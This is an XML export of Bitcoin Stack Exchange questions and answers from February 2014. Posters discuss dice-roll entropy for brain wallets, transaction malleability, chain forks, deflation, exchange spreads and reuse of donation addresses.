  <row Id="22159" PostTypeId="1" CreationDate="2014-02-14T09:38:57.850" Score="3" ViewCount="369" Body="&lt;p&gt;At bitaddress.org I have decided to use &quot;Brain Wallet&quot; and create my own physical randomness using dice. (I understand that dice are more effective than entering dozens of random keys on the keyboard.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many throws are necessary to create a passphrase which would defeat a brute force attack on my keys?&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2019-02-17T23:58:15.173" Title="How many throws of a dice are necessary to defeat a brute force attack?" Tags="|random|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22160" PostTypeId="2" ParentId="22159" CreationDate="2014-02-14T09:58:55.900" Score="0" Body="&lt;p&gt;Every five dice add 12.9 bits of entropy. Minimum: 30 dice for 64 bits. Better: 60 dice for 128 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Diceware&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Diceware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13402" LastActivityDate="2014-02-14T09:58:55.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22163" PostTypeId="2" ParentId="22104" CreationDate="2014-02-14T12:01:42.427" Score="4" Body="&lt;p&gt;In essence, you've replicated the argument that nobody needs to worry about this problem, which we now know is false. It's because of that very belief that we have the mess we have now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One crucial detail you missed is that when spending the outputs of a prior transaction, you must specify its transaction ID in your new transaction. So there are many other possible failure scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say you form only transactions that spend your own outputs, so you might assume that your transactions will definitely succeed eventually and thus you can chain transactions without waiting for confirmations. Until recently, this was considered the correct way to generate high volumes of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we now understand that you can't because the chain can break entirely if any transaction in the chain has its ID changed. The next transaction that refers to any of those outputs will never confirm since it will have the wrong transaction ID specified in one of its inputs. Later transactions that spend from that transaction will also fail and you'll have an unholy mess.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-14T12:01:42.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22164" PostTypeId="2" ParentId="22149" CreationDate="2014-02-14T12:20:27.413" Score="1" Body="&lt;p&gt;Only blocks that are part of the longest chain are considered valid. Each longest chain considers competing longest chains to be invalid until proven otherwise.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Block A was last.&lt;/p&gt;&#xA;&lt;p&gt;Block B1 and B2 are discovered at almost the same moment in the network and broadcasted such that each is received by about half the network first. Let's assume&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;B1 verifies transactions T1 and T2.&lt;/li&gt;&#xA;&lt;li&gt;B2 verifies transactions T2 and T3.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now each half of the network tries to find the next block respectively building from B1 or B2.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Building on B1: Trying to find C1 referring to B1 as previous block. In its ancestral chain T3 is not verified and the miners will include it in C1.&lt;/li&gt;&#xA;&lt;li&gt;Building on B2: Trying to find C2 referring to B2 as previous block. In its ancestral chain T1 is not verified and the miners will include it in C2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For arguments sake, C1 is found first. B2 is not part of the longest chain anymore, and thus any miner that receives notice of C1 will cease to try finding C2, and instead try to find D1 based on C1. The reward of B2 is not valid in the longest chain, any transactions that were &lt;em&gt;only&lt;/em&gt; confirmed in B2 will still be unconfirmed pool in the chain of C1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The transaction fee ends up going to whatever miner found the block which confirms the transaction &lt;em&gt;in the longest chain&lt;/em&gt;. Since each transaction can only be verified once this is unambiguous. Block rewards are unspendable until they are mature, i.e. there are 100 blocks deriving from it. At that point it is practically certain that there won't be a competing longer blockchain at any point in the future.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-02-14T12:28:02.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22165" PostTypeId="2" ParentId="3262" CreationDate="2014-02-14T13:27:02.287" Score="0" Body="&lt;p&gt;First and foremost, bitcoin is &lt;strong&gt;a protocol&lt;/strong&gt; that facilitates the transfer of tokens (ultimately) between people. The protocol is very elaborate, and defines diverse concepts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;Addressees&lt;/a&gt;, which act as a store of the tokens&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;Transactions&lt;/a&gt;, or different possible ways of transferring tokens between people (actually, addresses)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt;, which are simply groups of transactions&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;the block chain&lt;/a&gt; - a ordered sequence of blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The protocol uses diverse cryptographic primitives (such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow&quot;&gt;hash functions&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;digital signatures&lt;/a&gt;), as well as a decentralized network of computers to facilitate and verify the correct transfer of the tokens.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Most people call &lt;strong&gt;the tokens&lt;/strong&gt; that the protocol transfers simply as &lt;em&gt;bitcoins&lt;/em&gt;. Because the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;amount of existing tokens&lt;/a&gt; is finite, the tokens are economically &lt;a href=&quot;https://en.wikipedia.org/wiki/Scarcity&quot; rel=&quot;nofollow&quot;&gt;scarce&lt;/a&gt;, and people are willing to use it as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Store_of_value&quot; rel=&quot;nofollow&quot;&gt;store of value&lt;/a&gt;. Some people believe that this fact turns the tokens into &lt;strong&gt;a form of currency&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some people also consider the term &quot;Bitcoin&quot; to include a large system of &lt;strong&gt;entities that use the protocol&lt;/strong&gt;, including&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Currency_exchange&quot; rel=&quot;nofollow&quot;&gt;exchanges&lt;/a&gt; which facilitate the trade between bitcoins and fiat money - such as &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt; or  &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;sites that track transactions, such as &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;sites that track exchange rates, such as &lt;a href=&quot;http://bitcoinity.org/&quot; rel=&quot;nofollow&quot;&gt;bitcoinity&lt;/a&gt; or &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin charts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ultimately, asking whether these entities are part of bitcoin is as useful as asking if Google is part of the internet.&lt;/p&gt;&#xA;" OwnerUserId="13463" LastEditorUserId="13463" LastEditDate="2014-02-14T13:41:08.300" LastActivityDate="2014-02-14T13:41:08.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22166" PostTypeId="1" CreationDate="2014-02-14T14:00:59.320" Score="5" ViewCount="3352" Body="&lt;p&gt;I like Bitcoin for its ease of use and security. It makes &quot;money&quot; transfer fast and easy, however a lot of people are afraid to use it because of its volatility, Would it be possible to create a currency with a system that enforces a stable value? &lt;/p&gt;&#xA;" OwnerUserId="13465" LastEditorDisplayName="user5107" LastEditDate="2014-06-04T23:06:32.063" LastActivityDate="2014-06-04T23:06:32.063" Title="Is it possible to create a cryptocurrency that has a fixed value?" Tags="|currencies|price-volatility|" AnswerCount="3" CommentCount="6" ClosedDate="2014-03-08T04:22:13.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="22167" PostTypeId="1" CreationDate="2014-02-14T14:57:12.527" Score="1" ViewCount="187" Body="&lt;p&gt;I'm a newbie so this might be a stupid question, but on Blockchain, it says I have made two transactions however I only did one transaction and the overall thing does not make sense to me. Could someone please explain where this second transaction is from and what the 10 BTC on the right means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the page: &lt;a href=&quot;https://blockchain.info/address/12b6BMrGnqm5eHiLGejWuESurbVxwVU4gk&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/12b6BMrGnqm5eHiLGejWuESurbVxwVU4gk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13467" LastActivityDate="2014-03-19T22:43:06.583" Title="Transaction I never made" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22168" PostTypeId="1" CreationDate="2014-02-14T15:38:18.637" Score="6" ViewCount="811" Body="&lt;p&gt;With the recent commotion around transaction malleability, it seems like the Bitcoin developers have been working on a semi-fix for it, called the normalized transaction hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's implemented here in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3656#issuecomment-35055553&quot;&gt;this pull request&lt;/a&gt; by &lt;a href=&quot;https://github.com/sipa&quot;&gt;sipa&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this hash and how is it different from the regular transaction hash? How can it be constructed? How does it try to solve the malleability problem?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-02-17T14:08:07.023" LastActivityDate="2014-02-17T17:49:02.930" Title="What is the normalized transaction hash of a transaction?" Tags="|transaction-malleability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22170" PostTypeId="2" ParentId="22059" CreationDate="2014-02-14T15:48:16.427" Score="4" Body="&lt;p&gt;Since none of the answers that were given were fully fleshed enough to properly answer my question, I'm posting my own answer which synthesizes everything that has been said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to track a transaction in a way that will be resistant to transaction malleability, is to actually track only the data that has been signed. To do so, I suggest using a double SHA256 of the signed data. The documentation of the &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;OP_CHECKSIG&lt;/a&gt; script operation (and it's very useful &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;nofollow&quot;&gt;diagram form&lt;/a&gt; hints at which procedure should be followed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction malleability invariant &quot;Tracking Hash&quot; can be obtained from a pay-to-pubkey-hash transaction by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Verify the technical validity of the transaction, as is done the reference bitcoin client. This includes verifying the signatures of the transaction. This is a crucial step, if you don't do that, the &lt;em&gt;tracking hash&lt;/em&gt; is useless.&lt;/li&gt;&#xA;&lt;li&gt;double SHA-256 hashing all of the following things:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the version number&lt;/li&gt;&#xA;&lt;li&gt;the number of inputs&lt;/li&gt;&#xA;&lt;li&gt;for each input :&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the transaction ID of the output to spend&lt;/li&gt;&#xA;&lt;li&gt;the index of the output to spend&lt;/li&gt;&#xA;&lt;li&gt;the sequence number&lt;/li&gt;&#xA;&lt;li&gt;(Note: We intentionally do not hash the input script or the length of the input script)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;the number of outputs&lt;/li&gt;&#xA;&lt;li&gt;for each output:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the amount&lt;/li&gt;&#xA;&lt;li&gt;the length of the output script&lt;/li&gt;&#xA;&lt;li&gt;the whole output script&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;the lockTime&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Doing this should give you a nice &lt;em&gt;tracking hash&lt;/em&gt;, that will be the same for all equivalent transactions, no matter how it may have been modified by taking advantage of transaction malleability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this &lt;em&gt;tracking hash&lt;/em&gt; is not part of the bitcoin protocol, so you will not find it in the blockchain, and you won't be able to look it up using blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="12455" LastActivityDate="2014-02-14T15:48:16.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22176" PostTypeId="1" CreationDate="2014-02-14T17:16:55.940" Score="0" ViewCount="90" Body="&lt;p&gt;I have a Multibit wallet with 2 receiving addresses and of course 2 associated private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am shown the current balance contained in the wallet but there is no breakdown of this balance according to which address/key holds exactly how much of it.  It seems like a strange oversight not to show this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can go through the transaction log and see the transactions relating to each address and thereby work out how much of the balance is associated with each address, but this is arduous work for a person and a walk in the park for a computer!  So why doesn't it do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or have I missed something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13471" LastActivityDate="2016-11-20T23:06:07.550" Title="Multibit balance per address" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22177" PostTypeId="1" CreationDate="2014-02-14T17:49:15.403" Score="1" ViewCount="532" Body="&lt;p&gt;Why does Indian bitcoin exchnages are offering huge spread and why not international exchanges(ex:bitstamp,btc-e)&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-03-16T22:39:38.993" Title="why does Indian Bitcoin exchanges offer huge spreads( Bid and Ask)?" Tags="|bitcoind|exchange-rate|india|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22179" PostTypeId="2" ParentId="22177" CreationDate="2014-02-14T18:19:34.893" Score="2" Body="&lt;p&gt;Both Bitstamp and BTC-e are international exchanges that focus on worldwide customers.  Because of that, the market is much larger and more liquid and the spreads are more narrow.  However, none of these exchanges will convert rupee (INR) or provide local deposits and withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The local bitcoin exchanges do significantly less volume, so they have to charge a bit more. In addition, they provide services such as bid/ask in INR and integration with local Indian banks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As more competition comes to the local exchange market, spreads will likely narrow, but still not match a Bitstamp or btc-e.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-14T18:19:34.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22180" PostTypeId="2" ParentId="22177" CreationDate="2014-02-14T18:22:32.377" Score="1" Body="&lt;p&gt;Even within a single exchange, different coins usually have very different spreads. Take a look at cryptsy: some coins have an enormous spread (10% - 20% of their value, e.g. UNOcoin, 42coin, etc.) whilst in others the sell/buy orders differ by just 1 or 2 satoshis (Dogecoin and to a lesser extent Litecoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is the same in all cases: volume. The more buyers/sellers there are in a market, the higher the possibilities at least someone will go for a smaller profit and grab/get rid of a coin when they want it rather than when/if the market reaches the ideal price. So desperate buyers/sellers try to out-compete each other until the price more or less stabilizes at the point of minimum profit for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no strong barriers to rapidly buying from an international exchange to sell at those Indian ones and/or vice versa, you could try making a profit from such differences - that's actually what happens at the biggest exchanges such as Mt. Gox, BTC-e, etc. which causes the prices at each to rapidly reflect the changes occurring at the others.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-14T18:22:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22185" PostTypeId="2" ParentId="22159" CreationDate="2014-02-14T20:24:40.277" Score="2" Body="&lt;p&gt;Rolling a single die has 6 possible results. A private key is a 256-bit number. But its address involves a 160-bit hash, so that's the most you need to use.  To know how many dice rolls you need to get this much entropy, you need to know when 6^n &gt; 2^160 (because the probability of a certain sequence of n die rolls is 1/6^n). This is equal to ceil(log(2)*160/log(6)) or 62.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you roll a die 62 times (or a pair of dice 31 times, etc. - but be sure to count the die separately, and in a consistent way - e.g. do not always write the smaller of the two first, because you'd remove some entropy), and write down the numbers in order (e.g. &quot;132415614...&quot;), you can use that to seed a crypto random number generator that can give you a private key as secure as is possibly useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow&quot;&gt;Electrum's seed&lt;/a&gt; is 128 bits, and is considered (by those who created and use it, at least) to be secure enough for not just one private key, but &lt;strong&gt;all&lt;/strong&gt; of your private keys. To match that entropy, you need 50 die rolls.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-14T20:29:43.627" LastActivityDate="2014-02-14T20:29:43.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22186" PostTypeId="1" CreationDate="2014-02-14T20:30:00.023" Score="0" ViewCount="738" Body="&lt;p&gt;I have read that bitcoins are relatively &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4172/are-bitcoins-really-immune-to-inflation&quot; title=&quot;Bitcoin Stack Exchange&quot;&gt;immune to inflation and will actually deflate in value:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once 21 million coins exist, they become deflationary since no new coins are issued and, as naturally occurs, money falls out of circulation as wallets are lost.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Deflationary currency sounds terrible as this would encourage people NOT to spend the bitcoins they have. Which is the opposite of what you want in a capitalist society dependent on transactions. Inflation exist for a reason, it encourages people to spend the money they have because holding on to it would mean losing value in the long run.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-02-14T20:47:42.360" Title="Is bitcoin deflation a bad thing?" Tags="|deflation|inflation|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-14T21:21:38.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="22187" PostTypeId="2" ParentId="22186" CreationDate="2014-02-14T20:42:09.720" Score="3" Body="&lt;p&gt;I would suspect that most Bitcoin advocates would disagree with you. The simplest counter-argument is this -- wouldn't that mean inflation discourages people from selling things? And you can't spend if nobody wants to sell to you, can you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to make the same counter-argument is this: Actually, no, deflation encourages people to spend the bitcoins they have. A deflationary currency should be very desirable to hold. So, if I have a deflationary currency, sellers should go out of the way to encourage me to give that currency to them (with low prices, easy transaction, stronger guarantees, whatever it takes). That will make me more likely to buy things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all of these arguments are nonsense. The characteristics of the money affect the buyer and seller equally. So while they may change the price, they won't change the likelihood the transaction will occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it won't even matter. Long-term predictable monetary deflation is impossible (for a low friction, demurrage-free currency) because it entails a direct contraction. If you assume long-term, predictable monetary deflation, you get the following paradox:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;One unit of currency today must be worth less than one unit of currency tomorrow. Otherwise, you don't have long-term, predictable deflation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One unit of currency today must be worth more than one unit of currency tomorrow. This is because one of the things you can do with a unit of currency today is hold it until tomorrow. But you can &lt;em&gt;also&lt;/em&gt; spend it today if you want. So it has to be worth at least as much.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These two arguments directly contradict each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you have been lied to by economists who want to convince you that the economy will explode if the government doesn't enrich itself and favored bankers at the expense of everyone else. That's not to say deflation can't cause real problems, just not this kind of deflation and these kinds of problems.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-02-14T20:47:42.360" LastActivityDate="2014-02-14T20:47:42.360" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22188" PostTypeId="2" ParentId="22110" CreationDate="2014-02-14T20:44:15.737" Score="0" Body="&lt;p&gt;Yes, price volatility is a bad thing as it shakes peoples faith in the currency as a whole. The reason why money has value is because people use is in transactions. If people do not trust a currency, then they will be less likely to accept it as a form of payment. &lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2014-02-14T20:44:15.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22189" PostTypeId="2" ParentId="66" CreationDate="2014-02-14T22:12:49.923" Score="0" Body="&lt;p&gt;Unsure, can't tell at this stage if deflation will be negative, positive, or neutral. Nothing quit like bitcoin has existed before to compare it against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For traditional currencies, deflation is a bad thing as deflation was present during most economic depressions in US history. Historically, deflationary currency equates, more often than not, to massive poverty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The argument against this is that bitcoin is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Commodity_currency&quot; rel=&quot;nofollow&quot;&gt;commodity currency&lt;/a&gt;: (such as gold)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A commodity currency is a name given to currencies of countries which depend heavily on the export of certain raw materials for income. These countries are typically developing countries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin sounds a lot more like fiat money than commodity currency though. Especially in light that bitcoins don't &quot;exist&quot; in the physical world in the same way commodity currency does. Bitcoins do exist in on-line spaces and exchanges in much the same was fiat money does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even if we say bitcoin is a commodity currency there is still the problem of it being unstable and, as a result, untrust-worthy. Developing countries whose economy is heavily dependance on commodity currency don't have the best track record of stability. A developed country example is the Iraqi &quot;Swiss&quot; dinar which went through deflationary trends - but didn't have long term use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The counter argument seems pretty bad: diversify your investments. While being obviously good advice, it comes across as giving up on the system as a whole. &quot;Who cares if Bitcoin fails, you should have other investments and will be fine.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the uncertainty of long-term deflation, one of the best things about this currency is its reliance on mathematical models. If/when deflation is causing horrendous problems, I am confidant the mathematical model will be adjusted for the benefit of all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only time will tell, after all, Bitcoin is still experimental.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2014-02-14T22:12:49.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22190" PostTypeId="1" CreationDate="2014-02-14T22:28:33.503" Score="1" ViewCount="141" Body="&lt;p&gt;There an interesting &lt;a href=&quot;https://ripple.com/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;page about contracts&lt;/a&gt; on the Ripple Wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My limited understanding of contracts is that like other transactions in Ripple, it is the consensus across many servers that ensures validity.  Am I right that when a contract is running in Ripple, the code runs on multiple servers and consensus ensures the contract's instructions are run correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, I'm particularly curious about the &quot;&lt;a href=&quot;https://ripple.com/wiki/Contracts#Lotto&quot; rel=&quot;nofollow&quot;&gt;Lotto&lt;/a&gt;&quot; example on the wiki page.  It chooses one account randomly to be paid some amount of some currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that code ran simultaneously on many Ripple servers, they'd each randomly choose a different winner.  How would they ever achieve consensus?&lt;/p&gt;&#xA;" OwnerUserId="13218" LastEditorUserId="3364" LastEditDate="2014-02-15T22:25:54.210" LastActivityDate="2014-11-13T06:58:32.483" Title="How can a Ripple contract use random values and reach consensus?" Tags="|ripple|random|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22191" PostTypeId="1" CreationDate="2014-02-14T22:39:27.130" Score="3" ViewCount="188" Body="&lt;p&gt;I'm currently working on some Bitcoin code and whilst I'm hoping I've covered my bases, I wanted to check the implementation theory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand the malleable bug it's basically...&#xA;You create a transaction address for the transaction to take place on.  At this point a transaction id is created (txid)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The txid is changed before the transaction is complete on the network, creating a second txid, that the transaction will eventually be completed/confirmed/verified on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if that is correct (please correct me if I'm wrong)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A script/program transferring coins to somebody should work something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction address is created and given to the payee to transfer the requested balance to.&#xA;That transaction address is checked periodically for number of confirmations.  When the transaction address receives 6 or more confirmations it can be considered as completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better/quicker/securer way ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9559" LastEditorUserId="9559" LastEditDate="2014-02-15T14:32:27.093" LastActivityDate="2014-10-28T14:34:56.803" Title="Avoiding Bitcoin malleable bug with implementation" Tags="|transaction-malleability|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22192" PostTypeId="1" AcceptedAnswerId="22196" CreationDate="2014-02-14T23:50:19.317" Score="0" ViewCount="192" Body="&lt;p&gt;I'm just looking at how to implement donations on my site and also read that I should use a new address for each transaction to increase anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an ultimately pointless practice when tied to a single private website? &lt;/p&gt;&#xA;" OwnerUserId="13482" LastActivityDate="2014-02-15T09:10:02.447" Title="Is using a new address for each transaction pointless when applied to a donation button on a private website?" Tags="|address|websites|donation|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22194" PostTypeId="1" CreationDate="2014-02-15T00:02:50.353" Score="3" ViewCount="7886" Body="&lt;p&gt;Is there a Python client to listen to all latest transaction from the Bitcoin network? How does blockchain.info doing it?&lt;/p&gt;&#xA;" OwnerUserId="13484" LastActivityDate="2014-02-16T08:02:06.727" Title="How do I get all the latest transactions from Bitcoin network using Python?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22195" PostTypeId="2" ParentId="22192" CreationDate="2014-02-15T00:11:34.307" Score="1" Body="&lt;p&gt;A new address for each transaction is used for anonymity most of the time. For a donation website this isn't isn't that useful. Most people reuse because they feel that their address could be remembered and identified later on, even though this is hard to do it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you want it to be hard to tell who and where the bitcoins are, it's better to reuse and not have to have a complex system that generates and keeps track of generated addresses.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-15T00:11:34.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22196" PostTypeId="2" ParentId="22192" CreationDate="2014-02-15T00:20:40.603" Score="0" Body="&lt;p&gt;Note that even if you don't publicly publish the donation address (thus associating the address with your site), the public blockchain would reflect that your donors all paid money to the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it might've been traceable anyway (especially when you spend the bitcoins), using one address does make it more obvious, and your donors might not appreciate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether this is actually important to you is a question only you and your donors can answer (but it probably isn't important, so using one address is fine).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-15T00:20:40.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
